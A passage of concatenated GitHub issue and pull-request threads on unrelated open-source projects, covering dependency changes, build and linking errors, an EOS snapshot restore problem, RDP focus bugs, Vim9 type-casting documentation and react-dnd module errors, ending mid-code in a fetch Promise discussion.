numpy an optional requirement

Hi,
in my use case I don't need to use the MultiHarParser.
it is the only piece of code that has a dependency on numpy, so I refactored slightly to make it an optional requirement, numpy being such an heavy dependency.
Amended documentation to reflect that change.

@nicolasunravel sorry for the delay, I have been busy at SXSW interactive, but I will finish reviewing this as soon as possible. Everything looks good, U just want to give it another once over when I am less distracted. Thanks!

@nicolasunravel what do you think about just eliminating numpy entirely and relying on backports.statistics?

it's probably a good idea to remove it. it's an overkill for simple mean
and stdev of a limited number of data.
On 18 March 2016 at 21:50, mrname<EMAIL_ADDRESS>wrote:

@nicolasunravel https://github.com/nicolasunravel what do you think
about just eliminating numpy entirely and relying on backports.statistics?
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/mrname/haralyzer/pull/12#issuecomment-198557902

Sounds good @nicolasunravel. Do you want to update your PR or would you like me to branch off of it and make the update?

Changes Unknown when pulling e4ccb5606ac435a9094994a3fbb77671d72ccbd0 on nicolasunravel:master into ** on mrname:master**.

Changes Unknown when pulling f836c874548301869ca24cbc475eb3b8c28df988 on nicolasunravel:master into ** on mrname:master**.

and a bug fix along the way, should have double checked the quick stack overflow. The curse of clipboard programming

Changes Unknown when pulling a72167516584e53af3c146c5d5d032044e028fa9 on nicolasunravel:master into ** on mrname:master**.

:+1: will launch soon


Script does nothing, just exits on being run.

When I tried to download from KissAnime using the command
python kissgrab.py http://kissanime.to/Anime/Garo-Honoo-no-Kokuin
the script just exits without doing anything. No errors, nothing is thrown.

Known issue. The Encryption for the sites changed. While im fixing this you can try using https://github.com/Twoure/KissNetwork.bundle which is supposedly working

Fixed #9


Add validate command to IMT

As an IMT user, I would like to be able to validate modinfo.json files before I sync them to the database.

Implemented


"The following modules are missing or built with a different engine version"

x2 users report

try to replicate issue with team
check again if plugin modules need updating for latest unreal version
resolve specific problem for user in test channel
provide better instructions to users in Readme

add solution to a Troubleshooting section in the Readme

with a new blueprint project in Unreal 4.27.2, windows 10, visual studio, and a fresh copy of the volograms_unreal4_plugin in the project's Plugins/ subdirectory i was unable to reproduce this problem,
however, if i copy the plugins folder with an existing or partial build of the plugin i can reproduce the error message pictured.
i am able to fix the problem by deleting the Plugins/ and Intermediate/ subdirectories in the plugin folder. on the next launch of the editor this prompts a rebuild of the plugin with the following dialogue:

If i hit "yes" the plugin builds correctly and works as expected.
If the prompt to build still does not appear it implies an issue with the visual studio<->unreal 4 link. Perhaps this guide will help reset the development tools: https://docs.unrealengine.com/4.27/en-US/ProductionPipelines/DevelopmentSetup/VisualStudioSetup/

that fix seems to work (fixes the similar problem - that may be the same problem - which is a Windows CRT bug in some versions of the Windows SDK). ill PR that and link it to this issue


Can't input text into rail window

If I connect to my W2K8R2 server and use rail, I can't input any text into the window. Mouse clicks work fine. I can move the window ok. This occurs with both 1.0.1 and current git.
Text input goes to the terminal window instead of the rail window. It appears the rail window is not receiving focus.

Ok, this is weird. This appears to only happen when I am doing a double rdp, i.e. linux->terminal server->terminal server. I am using rail to to talk to my server. The app on my server is mstsc.exe which is talking to a remote TS gateway.
If I change my remoteapp from mstsc.exe to cmd.exe and then manually launch mstsc.exe everything works fine. If I set my remoteapp to do that automatically it only works if I leave the cmd.exe running. IOW
cmd /c mstsc.exe = no text input
cmd /k mstsc.exe = works fine
If I do /k and then close the cmd.exe window, all text input to the mstsc.exe window ceases.
?

Further info. Definately seems to be focus related. Simply clicking on a local windows is enough to kill input to the rail window despite activating it. The only way to restore input focus is activate a rail window which is to activate a rail window which is from the local server, and then activate the rail window which is from the TS gateway.
Also, while clicking a local window does change the focus to the local window, the remote rail window never changes to indicate that focus has been removed.

This behavior was introduced by commit 8f38bdb87a70e9dd61feadc3c50fc767c2b2c36d. Prior to that focus worked properly.


Error when starting Nodeos using snapshot.

I get snapshot in own chain.
curl http://<IP_ADDRESS>:8888/v1/producer/create_snapshot | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   220  100   220    0     0    526      0 --:--:-- --:--:-- --:--:--   525
{
   "head_block_id" : "000000e80db33c60505f9a7e012313290a054c38ac376e515ab136d9c858bc6e",
   "snapshot_name" : "/Users/xiehanqing/eoscode/eos/snapshots/snapshot-000000e80db33c60505f9a7e012313290a054c38ac376e515ab136d9c858bc6e.bin"
}

Then I delete blocks.log, blocks.index and reversible.
I start nodeos with --snapshot <path to snapshot> command line option ,but fail
error 2018-11-02T10:42:30.915 thread-0  main.cpp:130                  main                 ] 3240000 snapshot_exception: Snapshot exception Binary snapshot has unexpected magic number!

This is start command I usd
//SNAPSHOTDIR is path of snapshot file
./nodeos -e -p eosio --data-dir $DATADIR --config-dir $DATADIR --snapshot $SNAPSHOTDIR

@wanderingbort Looking forward to your reply.Thanks

Why is snapshot generation ok, but it will give you an error when parsing?
Is it the reason to start the command? Or is there a configuration problem?
I added four plugins to the configuration file.
plugin = eosio::chain_api_plugin
plugin = eosio::producer_api_plugin
plugin = eosio::history_api_plugin
plugin = eosio::net_api_plugin

Magic_number is a const variable that writes to the beginning of the snapshot file. Validation also takes the magic_number value from the beginning of the snapshot file. Why is magic_number Error reported?

What's the file size of /Users/xiehanqing/eoscode/eos/snapshots/snapshot-000000e80db33c60505f9a7e012313290a054c38ac376e515ab136d9c858bc6e.bin?

Across your case with me  also, are you solved it?

Across your case with me also, are you solved it?

Facing the same issue when restoring from snapshot, please help

Facing the same issue when restoring from snapshot, please help

Managed to get it working, node seems to be syncing up now
What I did:
Removed data and state folder from
/.local/share/eosio/nodeos/data$ folder
download/copy your snapshot into /.local/share/eosio/nodeos/data/snapshots/
./nodeos --delete-all-blocks --snapshot /.local/share/eosio/nodeos/data/snapshots/<snapshotname.bin>
node will freeze for a few minutes after starting up with error saying it needs to resync. just leave it
node should start syncing normally after that.

Misleading messages fixed in #6713 and will be in the next release.

Facing the same issue when restoring from snapshot, please help

Managed to get it working, node seems to be syncing up now
What I did:
Removed data and state folder from
/.local/share/eosio/nodeos/data$ folder
download/copy your snapshot into /.local/share/eosio/nodeos/data/snapshots/
./nodeos --delete-all-blocks --snapshot /.local/share/eosio/nodeos/data/snapshots/<snapshotname.bin>
node will freeze for a few minutes after starting up with error saying it needs to resync. just leave it
node should start syncing normally after that.
do a curl to your node api to check if chain id is correct and whether head_block_num is recent. if it is then you should be good.

It works for me.


Some C++ code cleanup to remove warnings

@dnrusakov knows the smart pointers better.

@dnrusakov knows the smart pointers better.

@dnrusakov knows the smart pointers better.

I'm not able to add him as a reviewer.

@dnrusakov knows the smart pointers better.

I'm not able to add him as a reviewer.


What to do if App ID is not registered in tenant.

On this page, we have some prerequisites listed including a requirement to have a specific Azure App ID be enabled in the tenant.
(This is under the section 'Configure your Azure AD tenant')
Firstly, it would be useful to add some instructions for a user to validate that this AppID is registered in the tenant (either inline or as an external link.)
More importantly - there are no instructions to follow if you discover that the AppID is NOT registered in your tenant.
(The above may be topics that could be covered in the Troubleshooting/FAQ page instead.)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d45d1c62-6273-1eed-432e-0c2db98c4d95
Version Independent ID: 1c0777b6-6c96-f02f-a2c3-73332ad456bc
Content: Configuration for Finance insights - Finance | Dynamics 365
Content Source: articles/finance/finance-insights/configure-for-fin-insites.md
Service: dynamics-365-finance
Product: ****
Technology: ****
GitHub Login: @ShivamPandey-msft
Microsoft Alias: shpandey

Bug 746848 has been logged to address this issue.

This issue has been addressed in the article and will be published later today.


Moved testing utils into tests directory. Improved gotests template.

This is a split of https://github.com/k3s-io/k3s/pull/3782, containing just the update test utilities changes, no docs changes.
Signed-off-by: dereknola<EMAIL_ADDRESS>

Proposed Changes
Move test utilities under the tests directory, creates a subfolder for integration tests, conforms to rest of the new tests folder.
Improved gotests templates to now follow our unit test naming scheme when autogenerating unit tests.
Types of Changes
Enhacements.

Verification
Testing changes only.

Linked Issues
https://github.com/k3s-io/k3s/issues/3804

User-Facing Change

NONE

Further Comments

Codecov Report

Merging #3805 (ae7f8fc) into master (bc96ffb) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #3805   +/-   ##
=======================================
  Coverage   11.55%   11.55%
=======================================
  Files         136      136
  Lines        8815     8815
=======================================
  Hits         1019     1019
  Misses       7575     7575
  Partials      221      221

Flag
Coverage Δ

inttests
0.62% <ø> (ø)

unittests
11.27% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

tests/util/cmd.go
62.50% <ø> (ø)

tests/util/runtime.go
50.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bc96ffb...ae7f8fc. Read the comment docs.


Running prettier on all ts files in the sdk directory

This PR is to see what does that look like and perhaps have a discussion around the prettier rules we use.

We probably want to scope formatting to data plane libraries for now, i.e., result of running rush format?

We probably want to scope formatting to data plane libraries for now, i.e., result of running rush format?

Yes, please! We dont want to touch any of the auto-generated packages with formatiing.
Also, it is preferable if we have a separate PR for each package so that PR reviewing is scoped to relevant package owners.

FYI Cosmos already runs prettier and has it as a dependency, so I would expect that needs to be removed if this becomes a repo wide operation.

@ramya-rao-a done.


Linking cross compiled  libtensorlowlite.so for aarch64 causes reference errors: undefined reference to<EMAIL_ADDRESS>

System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Ubuntu 18
TensorFlow installed from (source or binary): pip
Python version: 3.7
Installed using virtualenv? pip? conda?:
GCC/Compiler version (if compiling from source):  aarch64-linux-gnu-g++

Describe the problem
I am trying to cross compile a binary to make use of a cross compiled libtensorflowlite.so library. However upon compilation I get the error
/home/aarch64/libtensorflowlite.so: undefined reference to<EMAIL_ADDRESS>
I've followed the exact same steps using the native compiler (x86_64) and had no issues linking.
Here is how I build from source:
bazel build --config=elinux_aarch64 --config=monolithic --cxxopt=--std=c++14 --define=with_select_tf_ops=true -c opt //tensorflow/lite:libtensorflowlite.so

Once I have my shared library, I link it to my inference code via:
aarch64-linux-gnu-g++ -std=c++11 hello_world.cpp -I/home/tensorflow/ -I/home/tensorflow/tensorflow/lite/tools/make/downloads/flatbuffers/include   -L/home/aarch64 -ltensorflowlite -lm -lpthread

However the above error occurs.
I'm wondering if its due to the steps in which I'm building from source. Specifically the --config=elinux_aarch64 flag that I add for this cross-compilation case, and didn't have when I compiled natively. Otherwise is there a way to build that missing symbol into the library statically in compilation? Is this a tensorflow build issue?
FYI: my system itself is running Ubuntu GLIBC 2.27-3ubuntu1.2.

This is the toolchain of elinux_aarch64
https://github.com/tensorflow/tensorflow/tree/master/third_party/toolchains/embedded/arm-linux
You'd better update glibc of the target system to 2.28 or higher.


Add MacOS support in the Travis CI configuration

This would enable us to detect a breakage on that platform. it seems there are quite a few users of Mac among OpenSpiel users

We would really like to have this, as there are some large open-source contributions and that there is no automated way to test on Mac.
Thus, it's very easy to break it, and having such integration tests would make it easier to accept larger changes, impacting the build.

It's partially done.
At least we have a minimal check that the code (except Universal Poker) builds on MacOs with xcode 10 (not xcode 11) with gcc 7
Feel free to send fixes to one or the other, or any improvement on that side (e.g. compile with clang++).


RTL support for Slider

When RTL is active, Slider's view automatically positioned in RTL and the thumb positioned in the right side which is the correct behaviour.
Nevertheless the thumb and the touch gestures are not inverted and will only respond to LTR touch.
This is too bad, cause this package cannot be used at all for RTL apps.

I created PR for this: https://github.com/jeanregisser/react-native-slider/pull/93


data: iamBijoyKar

Fixes Issue

Changes proposed

Check List (Check all the applicable boxes)

[x] My code follows the code style of this project.
[x] My change requires changes to the documentation.
[x] I have updated the documentation accordingly.
[x] All new and existing tests passed.
[x] This PR does not contain plagiarized content.
[x] The title of my pull request is a short description of the requested changes.

Screenshots

Note to reviewers

That's great !! Thanks @ChinmayMhatre

Please fix your Linkedin icon. It should be FaLinkedin. 🛠

Awesome catch! I totally missed it


⚠ Bofrost.fr has degraded performance

In 0ca6312, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1967 ms

Resolved: Bofrost.fr performance has improved in db27927 after 7 minutes.


zephyr: add env option to builder

This option allows to provide custom environment variable available during build of Zephyr application.
Example of usage:
    builder:
      type: zephyr
      <...>
      env:
        - "MY_ENV_VAR=my_value"

Signed-off-by: Ruslan Shymkevych<EMAIL_ADDRESS>

All comments are addressed.
Tested with ninja -v to check the command line for different use cases (one var, few vars, no vars).

Commit is renamed to comply with the used practice (start with 'topic:').

'R-B' is added.
Tested.
Ready to be merged.


Add SBML validation

add sbml validator that automates http://sbml.org/Facilities/Validator/ for BioCRNpyler generated models so that we can be sure that the SBML output from biocrnpyler is globally readable by any SBML reading tool.

PR #131 solved this


Update assets link

Updates the link with the latest version of the assets.

Fixes #349 Lighting error on road meshes
Fixes #364 Illegal character on asset name

This change is

Reviewed 1 of 1 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable


Lazy load

First, Thank you for this tiny little gallery - very simple and useful.
Unfortunately didn't find any lazy load features.
It would be nice to:

add some loader while image is loading
add some error stub if image can't be load

Hi 👋
You are right, there is no lazy loading and/or loading indicators implemented now. I have tried to implement it during the initial development phase but have struggled with HTML and CSS 😄 I'll take a look at it this week and probably come up with something 👍

+1


--local-engine broken for all x86 Android devices

Steps

Open any flutter app.
Build the engine for android x86.
flutter run --local-engine=android_debug_unopt_x86 to an x86 Android device.

Result
E/flutter (10680): [ERROR:flutter/runtime/dart_vm_data.cc(19)] VM snapshot invalid and could not be inferred from settings.
E/flutter (10680): [ERROR:flutter/runtime/dart_vm.cc(241)] Could not setup VM data to bootstrap the VM from.
E/flutter (10680): [ERROR:flutter/runtime/dart_vm_lifecycle.cc(89)] Could not create Dart VM instance.
F/flutter (10680): [FATAL:flutter/shell/common/shell.cc(218)] Check failed: vm. Must be able to initialize the VM.

Cause
It seems like this is a combination of changes to how we select libflutter.so and also flutter/engine#9260. I've been able to work around this by locally reverting flutter/engine#9260.  @jason-simmons found that the libflutter.so in the apk looks like it's being selected from flutter/flutter/bin/cache instead of flutter/engine/out. I'm not sure if the APK selection issue is the root cause of the VM failure or if there's some other issue here. Could potentially test for it by copying the locally built cached engine to flutter/flutter/bin/cache and seeing if the error still persists.
/cc @blasten

found that the libflutter.so in the apk looks like it's being selected from flutter/flutter/bin/cache instead of flutter/engine/out

Did this work before @mklim? I'm looking at flutter.gradle before my changes, and it seems the script never read libflutter.so from flutter/engine/out.   Only for arm/arm64 debug.
https://github.com/flutter/flutter/blob/3d09f939ba1b076a584e41a9c7d69cca1d1ceb49/packages/flutter_tools/gradle/flutter.gradle#L166-L175

oh I see what happened, in  master we run that code regardless if you have a local engine passed to it.


New package: NCTiles v0.1.4

Registering package: NCTiles
Repository: https://github.com/gaelforget/NCTiles.jl
Created by: @gaelforget
Version: v0.1.4
Commit: d8214d67f4b1e54a87496683e070a0c5efcc37ab
Reviewed by: @gaelforget
Reference: https://github.com/gaelforget/NCTiles.jl/issues/10

A side question:
https://github.com/gaelforget/NCTiles.jl/issues/10#issuecomment-532748613 asks why the version being registered is v0.1.4 rather than e.g. v0.1.0
I did this because I had tagged versions via GitHub only up to v0.1.4 and assumed that registering a v0.1.0 could create confusion or conflict at some point of the process.
Does that make sense or would you advise I proceeded differently?


Sim will not run on Mac

....... and the zip files are not recognised as being unzippable!
Something intrinsically wrong?
Disappointing :-(

RAR extension is rarely used 🫠 it's an old extension on Windows.
You can try this: https://apps.apple.com/fr/app/unrar-extrait-zip-rar-7zip/id1439683799

I don't have access to a Mac unfortunately, the Mac part of the makefile was written by someone else and I haven't tested it. If anyone with a Mac could help in testing it, I would appreciate it.
The rar is just used in the repo because it offers better compression than zip so that the file could actually fit in the repo, which is something people asked for. Zip files are provided in the release, and they seem to unzip fine on both Linux and Windows so it's weird that Mac has issues.


[FLINK-6895][table]Add STR_TO_DATE supported in SQL

What is the purpose of the change
Add STR_TO_DATE Function supported in SQL
Brief change log

STR_TO_DATE(str string, format string)
-  str is the string that need to be transformed.
- format is the pattern of "str"
Add tests in ScalarFunctionsTest.scala
Add docs in sql.md

Verifying this change

Run unit tests in  ScalarFunctionsTest.scala

Does this pull request potentially affect one of the following parts:

A new sql function

Documentation

Add docs in sql.md

Actually I am not sure if it is appropriate to return "string" because it should be the inverse of the "DATE_FORMAT()". However, If I return DATE/TIME/DATETIME as the jira issue described, the type of data user receives will be uncertain in one of DATE/TIME/DATETIME.
 Can we close it for now? According to the discussion in FLINK-6895 it needs a rework anyway.

@twalthr
Sorry for late reply here.
This can be closed now, and I'll submit another PR this week.
I've posted my solution in FLINK-6895, we can have a discussion there.

Submit another Pull Request according to the discussion in FLINK-6895.


How to run this from a cloud function?

Hi,
I would like to schedule the bigquery data import using a cloud scheduler triggering a cloud function.
The problem is that your library (and other solutions I've encountered) require me to specify service credentials. I do not know how to access the credentials that Google uses when running the cloud function.
I could attach the credentials to the runtime myself as part of a functions.config secret, but that seems like a very odd thing to do.
Do you have an idea how to approach this?

Awesome, thanks for sharing @0x80 !


Docs

@AngelMunoz The code should me almost locked for the 1.0 release, and I'm trying to set up some docs before the announcement. It'd be great if you could help (...again 🙏 ) with this. Maybe the Web Components page? Thanks a lot in advance!

For sure! I'll try to get something done tonight (it might be a busy day)

I got some of the directives and the web component docs in, I'm not sure I will be able to push more today but I'll try to catch up tomorrow

Thanks @AngelMunoz! I think we have at least something for an announcement. 1.0 is out!


squid:S2676 - Neither Math.abs nor negation should be used on numbers…

This pull request is focused on resolving occurrences of Sonar rule squid:S2676 - Neither Math.abs nor negation should be used on numbers that could be MIN_VALUE
You can find more information about the issue here: https://dev.eclipse.org/sonar/coding_rules#q=squid:S2676
Please let me know if you have any questions.
M-Ezzat

@m-ezzat seriously wtf, did you even review this changeset or just let your bot submit it automatically..?

maybe something like
Math.abs(random.nextInt() % 255);

would satisfy the sonar coding "rule" and keep original behaviour.


Add user messaging on Analytics tab regarding use with Adblocking [OSF-6307]

Purpose
Further PR that gets rid of webpages ability to sense ads and just displays the block to all users.
Changes
Removed ad sensing code
Side effects
None
Ticket
https://openscience.atlassian.net/browse/OSF-6307

As per https://openscience.atlassian.net/browse/OSF-6307, the alert should not be shown on private projects. Also, could you look into making the alert dismissible? @SSJohns

Build is failing due to jshint (javascript syntax) errors: https://travis-ci.org/CenterForOpenScience/osf.io/jobs/134488389
You can run this locally with invoke jshint to see if anything is wrong before you push. invoke flake8 is the python equivalent.

LGTM. Verified intended behavior for projects both private and public, and for registrations. Dropping this RTM when the build passes. 🐧

Pass finished. Just one comment to address: https://github.com/CenterForOpenScience/osf.io/pull/5755#discussion_r65943529


CI (2592): Allow LoRA adapter revision in server launcher

This PR reopens #2601 to run CI

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.


Error on fresh installation

Describe the bug
after clean installation, i'm getting error with export default from inside the package
Reproduction
Steps to reproduce the behavior:

clone: https://github.com/jairusd/ssr
yarn start

Expected behavior
should run without problem
Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

OS: windows 10
Browser chrome
Version 75.0.3770.142 (Official Build) (64-bit)

Additional context
Add any other context about the problem here.

the same here. even wtih webpack 'js' babel loader including /node_modules/

Facing the same issue here.. Tried couple of earlier versions too, seeing the same behavior.
Using create-react-app with hooks

Facing the same issue here.. Tried couple of earlier versions too, seeing the same behavior.
Using create-react-app with hooks.
Upgrade to the latest node and create react app 2 and the error is gone.
@jairusd - what's your node environment?

I just upgraded to 12.6.0 and refreshed my deps to test it out, unfortunately, I'm still getting the same error :(

same problem +1. and when I try to use react-dnd-cjs,  got another problem.

os: mac
electron

I'm having the same issue.
I just upgraded Babel to 7.4+ with the switch from @babel/polyfill to core-js so I'm yet not entirely sure where my error comes from.
I'll look closely at this thread though.

I'm having the same issue.
I just upgraded Babel to 7.4+ with the switch from @babel/polyfill to core-js so I'm yet not entirely sure where my error comes from.
I'll look closely at this thread though.

same man.. i'm on core-js 3

fwiw, with due respect to react-dnd, it did not work well with react-virtualized (which is a must have for me). I moved on to use react-sortable-hoc and the combo works best for me.

I had the same problem - they're directly exporting ES6 on react-dnd. Instead, just use the drop-in-replacement react-dnd-cjs and it should work fine.


Vim9: error at ":h variable-types"

The help at :h variable-types says this:
https://github.com/vim/vim/blob/d24602f43cf1f3c37136fe275b83153c26a406e7/runtime/doc/vim9.txt#L795-L800
This is no longer true.  Since 8.2.1691, no error is raised because list<any> is accepted where list<number> is expected.
So, this code doesn't raise any error, neither at the script level:
vim9script
g:two = 2
var l: list<number> = [1, g:two]

Nor in a :def function:
vim9script
def Func()
    g:two = 2
    var l: list<number> = [1, g:two]
enddef
Func()

Same thing with strings:
vim9script
g:str = 'bbb'
var l: list<string> = ['aaa', g:str]

✔

vim9script
def Func()
    g:str = 'bbb'
    var l: list<string> = ['aaa', g:str]
enddef
Func()

✔

It seems that – originally – type casting served 2 purposes:

ignore some type error at compile time when nesting a "public" variable in a composite data
ask Vim to perform some type checking at runtime on a public variable

Since 8.2.1691, the first one is no longer relevant.  So, type casting is only useful for the second purpose.  Maybe the help should reflect this change.

Btw, type casting doesn't work at the script level:
vim9script
g:two = 2
var l: list<number> = [1, <number>g:two]

E15: Invalid expression: <number>g:two]

Is it working as intended?
Wouldn't it be useful if we could ask Vim to check the type of a public variable at runtime, even when that variable is referred to at the script level?

Also, isn't it a bit weird to call this feature "type casting"?  It sounds like it converts the type of a variable, but that's not what it does; it checks whether the type of a variable is correct.  Although, I can't think of a better name.  I guess it can't be called "type checking", because that's already used for when Vim checks the type of any variable either at compile time or at runtime, while "type casting" only checks the type of public variable at runtime.

Also, isn't it a bit weird to call this feature "type casting"?

Ah, it was probably named like this because – in the past – it coerced the type of a public variable from any to whatever the user wanted to.  But this coercion is no longer necessary, so naming the feature according to this might be confusing.

FWIW, I would also move the help tag a few lines earlier, because when executing :h type-casting, it's a bit weird to jump in the middle of the explanation.  We're missing some context.
diff --git a/runtime/doc/vim9.txt b/runtime/doc/vim9.txt
index 1872b82ee..a49ad5bb0 100644
--- a/runtime/doc/vim9.txt
+++ b/runtime/doc/vim9.txt
@@ -791,14 +791,14 @@ specified explicitly or inferred from the initialization.
 Global, buffer, window and tab page variables do not have a specific type, the
 value can be changed at any time, possibly changing the type.  Therefore, in
 compiled code the "any" type is assumed.
-
+							*type-casting*
 This can be a problem when the "any" type is undesired and the actual type is
 expected to always be the same.  For example, when declaring a list: >
 	var l: list<number> = [1, g:two]
 This will give an error, because "g:two" has type "any".  To avoid this, use a
 type cast: >
 	var l: list<number> = [1, <number>g:two]
-<							*type-casting*
+<
 The compiled code will then check that "g:two" is a number at runtime and give
 an error if it isn't.  This is called type casting.

The help at :h variable-types says this:
https://github.com/vim/vim/blob/d24602f43cf1f3c37136fe275b83153c26a406e7/runtime/doc/vim9.txt#L795-L800
This is no longer true.  Since 8.2.1691, no error is raised because list<any> is accepted where list<number> is expected.
So, this code doesn't raise any error, neither at the script level:
vim9script
g:two = 2
var l: list<number> = [1, g:two]

Nor in a :def function:
vim9script
def Func()
    g:two = 2
    var l: list<number> = [1, g:two]
enddef
Func()

Same thing with strings:
vim9script
g:str = 'bbb'
var l: list<string> = ['aaa', g:str]

✔

vim9script
def Func()
    g:str = 'bbb'
    var l: list<string> = ['aaa', g:str]
enddef
Func()

✔

It seems that – originally – type casting served 2 purposes:

ignore some type error at compile time when nesting a "public" variable in a composite data
ask Vim to perform some type checking at runtime on a public variable

Since 8.2.1691, the first one is no longer relevant.  So, type casting
is only useful for the second purpose.  Maybe the help should reflect
this change.

Yeah, this changed a bit after discussions. There now is a check that
the result of the expression matches the type of the variable at
runtime.  This was needed e.g. when calling a builtin function.
The text can be adjusted for this:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Variable types and type casting	~
variable-types
Variables declared in Vim9 script or in a :def function have a type, either
specified explicitly or inferred from the initialization.
Global, buffer, window and tab page variables do not have a specific type, the
value can be changed at any time, possibly changing the type.  Therefore, in
compiled code the "any" type is assumed.
This can be a problem when the "any" type is undesired and the actual type is
expected to always be the same.  For example, when declaring a list: >
var l: list = [1, g:two]
At compile time Vim doesn't know the type of "g:two" and the expression type
becomes list.  An instruction is generated to check the list type before
doing the assignment, which is a bit inefficient.
type-casting
To avoid this, use a type cast: >
var l: list = [1, g:two]
The compiled code will then only check that "g:two" is a number and give an
error if it isn't.  This is called type casting.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Btw, type casting doesn't work at the script level:
vim9script
g:two = 2
var l: list<number> = [1, <number>g:two]

E15: Invalid expression: <number>g:two]

Is it working as intended?

That isn't implemented yet.  It should work the same was as in a :def
function.

Wouldn't it be useful if we could ask Vim to check the type of a
public variable at runtime, even when that variable is referred to at
the script level?

Yes.
--
It doesn't really matter what great things you are able to do if
you don't do any of them.  (Bram Moolenaar)
/// Bram Moolenaar --<EMAIL_ADDRESS>-- http://www.Moolenaar.net   \
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \
\\  an exciting new programming language -- http://www.Zimbu.org        ///
\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

Fixed by https://github.com/vim/vim/commit/4072ba571babd733d1800c082416fe8fe3c28ed7.


Ran yarn prettier

This should fix the eslint errors I encountered with https://travis-ci.org/Vincit/objection.js/jobs/314914804
Note that the script target doesn't work on windows--I got
$ yarn prettier
yarn run v1.3.2
$ prettier --write 'examples/**/*.js' 'lib/**/*.js' 'tests/**/*.js'
[error] No matching files. Patterns tried: 'examples/**/*.js' 'lib/**/*.js' 'tests/**/*.js' !**/node_modules/** !./node_modules/**
error Command failed with exit code 2.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

Replacing the single quotes with escaped double quotes works for both windows and linux. @koskimas, holler if you want that as another PR.

Coverage remained the same at 95.888% when pulling 956e90c1fabb2bcd3262266455e658bf88a484de on mceachen:prettier-20171211 into c40a6f126e5f58e9dccb1dc10c453ea40e258d57 on Vincit:master.

Coverage remained the same at 95.888% when pulling 956e90c1fabb2bcd3262266455e658bf88a484de on mceachen:prettier-20171211 into c40a6f126e5f58e9dccb1dc10c453ea40e258d57 on Vincit:master.

Thank you!


No code completion after typedef reference

Analysis Server doesn't provide code completion for hashCode after handler (see SomeClass constructor).
typedef Object HandlerFunc();

class SuperClass {
    SuperClass({props});
}

class SomeClass extends SuperClass {
    final HandlerFunc handler;

    SomeClass({this.handler}) : super(props: [handler.hashCode]);
}

I went ahead and attempted to address this issue here: https://dart-review.googlesource.com/c/sdk/+/148700/


kernFeatureWriter.py does not inline feature file include statements before parsing features

On projects where you want to have a global family.fea file and use include(../family.fea) to refer to it on each of the UFO's to avoid unnecessary duplication, it seems like kernFeatureWriter.py does not inline the include statement and so it doesn't take into account RTL scripts in the font since it can't find any languagesystem tags on each individual UFO's feature file.
The end result is it ends up with no RTL kerning and all the kerning is put into a single lookup, when it should be split into two lookups with different directions.

yeah.. thanks Jose.
closing as duplicate of https://github.com/googlei18n/ufo2ft/issues/112

Ahhh, should have read that one more closely. Thanks!


Getting a CompilationUnit from Element no longer possible.

I'm currently using the source_gen package and need to obtain a CompilationUnit from an Element but it seems that all of the accessors and methods that made this possible are now deprecated.
Essentially I'm trying to parse through the input source code to look for a MethodInvocation of a specific method with specific parameters.
Any suggestions on how to move forward on this?

@jakemac53 now that dart-lang/build#1998 has been closed, can we close out this issue?

Oh, I see the new api that Nate suggested should work now is the implication - if somebody can confirm here it does work then I think we can close this yes.


Allow to take promise or URL in calls to fetch to enable easy override

Can you please consider replacing:
fetch(this.settings.ajax).then(....)
with
Promise.resolve(this.settings.ajax).then(fetch).then(....)
Allows one to specify a different behavior for getting and posting data using local data for instance while maintaining complete compatibility with exiting code sine resolve('url') resolves immediately to 'url'

Hi, thank you for contribution.
I've made some experiments and found out that Promise.resolve returns PromiseStatus and the resolved url value (PromiseValue), with code:
Promise.resolve(ajaxUrl).then(fetch(ajaxUrl, {
                method: settings.method,
                body: JSON.stringify(dataIndices)
            }).then(response => response.json()).then((data) => {
                dataResp['id'] = data['row']['id'];
                dataResp[CommonConstants.GT_ROW_ID] = data['row']['id'];
                editorUpdate(e, dataResp);
                this.triggerAfter(EditorConstants.EDITOR_CREATE);
            }))

The returned Promise value will be:
Promise {<pending>}__proto__: Promisecatch: ƒ catch()arguments: (...)caller: (...)length: 1name: "catch"__proto__: ƒ ()[[Scopes]]: Scopes[0]constructor: ƒ Promise()finally: ƒ finally()arguments: (...)caller: (...)length: 1name: "finally"__proto__: ƒ ()[[Scopes]]: Scopes[0]then: ƒ then()Symbol(Symbol.toStringTag): "Promise"__proto__: Objectconstructor: ƒ Object()hasOwnProperty: ƒ hasOwnProperty()isPrototypeOf: ƒ isPrototypeOf()propertyIsEnumerable: ƒ propertyIsEnumerable()toLocaleString: ƒ toLocaleString()toString: ƒ toString()valueOf: ƒ valueOf()__defineGetter__: ƒ __defineGetter__()__defineSetter__: ƒ __defineSetter__()__lookupGetter__: ƒ __lookupGetter__()__lookupSetter__: ƒ __lookupSetter__()get __proto__: ƒ __proto__()set __proto__: ƒ __proto__()[[PromiseStatus]]: "resolved"[[PromiseValue]]: "http://gigatables.loc/editor.php"

which seems more reliable then standard Promise from fetch method - [[PromiseValue]]: undefined.
The question is - how would you use this feature, as the code doesn't return anything?
The only way to see the Promise result is via debugger.
Can you please post an example of usage or provide more detailed information?

Here is how I am using it with the modification I described:
function getUrl() {
return new Promise( (resolve) => {
someExternalNonRestAPI.getData()
.then( (apiResult) => {
var data = {"rows":[]};
